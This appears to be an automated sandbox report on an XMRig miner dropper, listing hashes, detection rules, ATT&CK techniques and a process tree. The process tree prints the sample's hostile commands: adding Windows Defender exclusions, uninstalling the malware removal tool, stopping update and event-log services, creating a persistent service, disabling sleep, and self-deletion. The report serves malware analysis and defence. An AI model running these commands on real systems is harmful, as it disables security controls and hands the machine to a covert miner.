xmrig | 643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0c

Analysis

max time kernel
119s
max time network
119s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
19-12-2024 23:44

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General

Target

643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe
Size

5.6MB
MD5

818ec8fa88b9ffa5160193211491efa0
SHA1

4a04e6955529e7214a74fdeb1fa03fc3d8f2418c
SHA256

643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0c
SHA512

8651412331edce80b07fab1450551a7d5e617b17210053d8a74e3c88ea0e8dd6ba7a02697ad2622f7ef3c545750b42fb8d00faff930fbb1b1efc18655000d9a8
SSDEEP

98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7

Score

10^/10

xmrig evasion execution miner persistence upx

Malware Config

Signatures

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 11 IoCs

miner

resource	yara_rule
behavioral2/memory/3252-63-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3252-66-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3252-67-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3252-65-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3252-62-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3252-68-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3252-69-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3252-70-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3252-72-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3252-74-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3252-73-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2876	powershell.exe
3424	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
4300	lutlgidagtja.exe

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1616	powercfg.exe
684	powercfg.exe
1808	powercfg.exe
4564	powercfg.exe
1444	powercfg.exe
3836	powercfg.exe
4904	powercfg.exe
2000	powercfg.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	lutlgidagtja.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4300 set thread context of 388	4300	lutlgidagtja.exe	146
PID 4300 set thread context of 3252	4300	lutlgidagtja.exe	148

UPX packed file 16 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3252-57-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3252-59-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3252-63-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3252-66-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3252-67-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3252-65-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3252-62-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3252-61-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3252-60-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3252-58-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3252-68-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3252-69-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3252-70-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3252-72-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3252-74-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3252-73-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4760	sc.exe
5108	sc.exe
2420	sc.exe
4256	sc.exe
1640	sc.exe
4508	sc.exe
2348	sc.exe
2288	sc.exe
1440	sc.exe
224	sc.exe
5112	sc.exe
1708	sc.exe
1720	sc.exe
1952	sc.exe

Modifies data under HKEY_USERS 46 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1576	643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe
2876	powershell.exe
2876	powershell.exe
1576	643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe
1576	643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe
1576	643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe
1576	643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe
1576	643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe
1576	643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe
1576	643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe
1576	643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe
1576	643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe
1576	643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe
1576	643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe
1576	643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe
1576	643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe
1576	643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe
1576	643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe
4300	lutlgidagtja.exe
3424	powershell.exe
3424	powershell.exe
4300	lutlgidagtja.exe
4300	lutlgidagtja.exe
4300	lutlgidagtja.exe
4300	lutlgidagtja.exe
4300	lutlgidagtja.exe
4300	lutlgidagtja.exe
4300	lutlgidagtja.exe
4300	lutlgidagtja.exe
4300	lutlgidagtja.exe
4300	lutlgidagtja.exe
4300	lutlgidagtja.exe
4300	lutlgidagtja.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe
3252	nslookup.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	2876	powershell.exe
Token: SeShutdownPrivilege	3836	powercfg.exe
Token: SeCreatePagefilePrivilege	3836	powercfg.exe
Token: SeShutdownPrivilege	2000	powercfg.exe
Token: SeCreatePagefilePrivilege	2000	powercfg.exe
Token: SeShutdownPrivilege	1616	powercfg.exe
Token: SeCreatePagefilePrivilege	1616	powercfg.exe
Token: SeShutdownPrivilege	4904	powercfg.exe
Token: SeCreatePagefilePrivilege	4904	powercfg.exe
Token: SeDebugPrivilege	3424	powershell.exe
Token: SeShutdownPrivilege	684	powercfg.exe
Token: SeCreatePagefilePrivilege	684	powercfg.exe
Token: SeShutdownPrivilege	1444	powercfg.exe
Token: SeCreatePagefilePrivilege	1444	powercfg.exe
Token: SeShutdownPrivilege	1808	powercfg.exe
Token: SeCreatePagefilePrivilege	1808	powercfg.exe
Token: SeShutdownPrivilege	4564	powercfg.exe
Token: SeCreatePagefilePrivilege	4564	powercfg.exe
Token: SeLockMemoryPrivilege	3252	nslookup.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3096 wrote to memory of 4692	3096	cmd.exe	98
PID 3096 wrote to memory of 4692	3096	cmd.exe	98
PID 4900 wrote to memory of 3980	4900	cmd.exe	125
PID 4900 wrote to memory of 3980	4900	cmd.exe	125
PID 408 wrote to memory of 3332	408	cmd.exe	133
PID 408 wrote to memory of 3332	408	cmd.exe	133
PID 4300 wrote to memory of 388	4300	lutlgidagtja.exe	146
PID 4300 wrote to memory of 388	4300	lutlgidagtja.exe	146
PID 4300 wrote to memory of 388	4300	lutlgidagtja.exe	146
PID 4300 wrote to memory of 388	4300	lutlgidagtja.exe	146
PID 4300 wrote to memory of 388	4300	lutlgidagtja.exe	146
PID 4300 wrote to memory of 388	4300	lutlgidagtja.exe	146
PID 4300 wrote to memory of 388	4300	lutlgidagtja.exe	146
PID 4300 wrote to memory of 388	4300	lutlgidagtja.exe	146
PID 4300 wrote to memory of 388	4300	lutlgidagtja.exe	146
PID 4300 wrote to memory of 3252	4300	lutlgidagtja.exe	148
PID 4300 wrote to memory of 3252	4300	lutlgidagtja.exe	148
PID 4300 wrote to memory of 3252	4300	lutlgidagtja.exe	148
PID 4300 wrote to memory of 3252	4300	lutlgidagtja.exe	148
PID 4300 wrote to memory of 3252	4300	lutlgidagtja.exe	148

C:\Users\Admin\AppData\Local\Temp\643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe
"C:\Users\Admin\AppData\Local\Temp\643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe"
1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1576
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3096
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:4692
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:5112
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4760
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5108
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2348
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2288
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3836
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1616
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2000
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4904
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe delete "JIOGRCSG"
  2⤵
  - Launches sc.exe
  PID:4256
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"
  2⤵
  - Launches sc.exe
  PID:1640
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop eventlog
  2⤵
  - Launches sc.exe
  PID:1708
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe start "JIOGRCSG"
  2⤵
  - Launches sc.exe
  PID:4508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0cN.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4900
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:3980

C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4300
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3424
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:408
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:3332
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1720
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:1952
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1440
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:224
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2420
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:684
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1808
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4564
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1444
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:388
- C:\Windows\system32\nslookup.exe
  nslookup.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3252

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe

Filesize
5.6MB

MD5
818ec8fa88b9ffa5160193211491efa0

SHA1
4a04e6955529e7214a74fdeb1fa03fc3d8f2418c

SHA256
643822a498a1d9486b8ee81d74abb4599b130dc5650ae7394d1e63d4479bda0c

SHA512
8651412331edce80b07fab1450551a7d5e617b17210053d8a74e3c88ea0e8dd6ba7a02697ad2622f7ef3c545750b42fb8d00faff930fbb1b1efc18655000d9a8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x0xwuli3.gau.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/388-49-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/388-52-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/388-53-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/388-56-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/388-51-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/388-50-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2876-11-0x00007FF846580000-0x00007FF847041000-memory.dmp

Filesize
10.8MB

Download
memory/2876-0-0x00007FF846583000-0x00007FF846585000-memory.dmp

Filesize
8KB

Download
memory/2876-16-0x00007FF846580000-0x00007FF847041000-memory.dmp

Filesize
10.8MB

Download
memory/2876-15-0x00007FF846580000-0x00007FF847041000-memory.dmp

Filesize
10.8MB

Download
memory/2876-12-0x00007FF846580000-0x00007FF847041000-memory.dmp

Filesize
10.8MB

Download
memory/2876-1-0x0000027967240000-0x0000027967262000-memory.dmp

Filesize
136KB

Download
memory/3252-62-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/3252-58-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/3252-73-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/3252-74-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/3252-72-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/3252-70-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/3252-69-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/3252-68-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/3252-60-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/3252-57-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/3252-59-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/3252-64-0x0000015C08C10000-0x0000015C08C30000-memory.dmp

Filesize
128KB

Download
memory/3252-63-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/3252-66-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/3252-67-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/3252-65-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/3252-61-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/3424-38-0x000001CE7B230000-0x000001CE7B24C000-memory.dmp

Filesize
112KB

Download
memory/3424-39-0x000001CE7B250000-0x000001CE7B305000-memory.dmp

Filesize
724KB

Download
memory/3424-45-0x000001CE7B490000-0x000001CE7B496000-memory.dmp

Filesize
24KB

Download
memory/3424-40-0x000001CE7B220000-0x000001CE7B22A000-memory.dmp

Filesize
40KB

Download
memory/3424-41-0x000001CE7B470000-0x000001CE7B48C000-memory.dmp

Filesize
112KB

Download
memory/3424-42-0x000001CE7B450000-0x000001CE7B45A000-memory.dmp

Filesize
40KB

Download
memory/3424-43-0x000001CE7B4B0000-0x000001CE7B4CA000-memory.dmp

Filesize
104KB

Download
memory/3424-44-0x000001CE7B460000-0x000001CE7B468000-memory.dmp

Filesize
32KB

Download
memory/3424-46-0x000001CE7B4A0000-0x000001CE7B4AA000-memory.dmp

Filesize
40KB

Download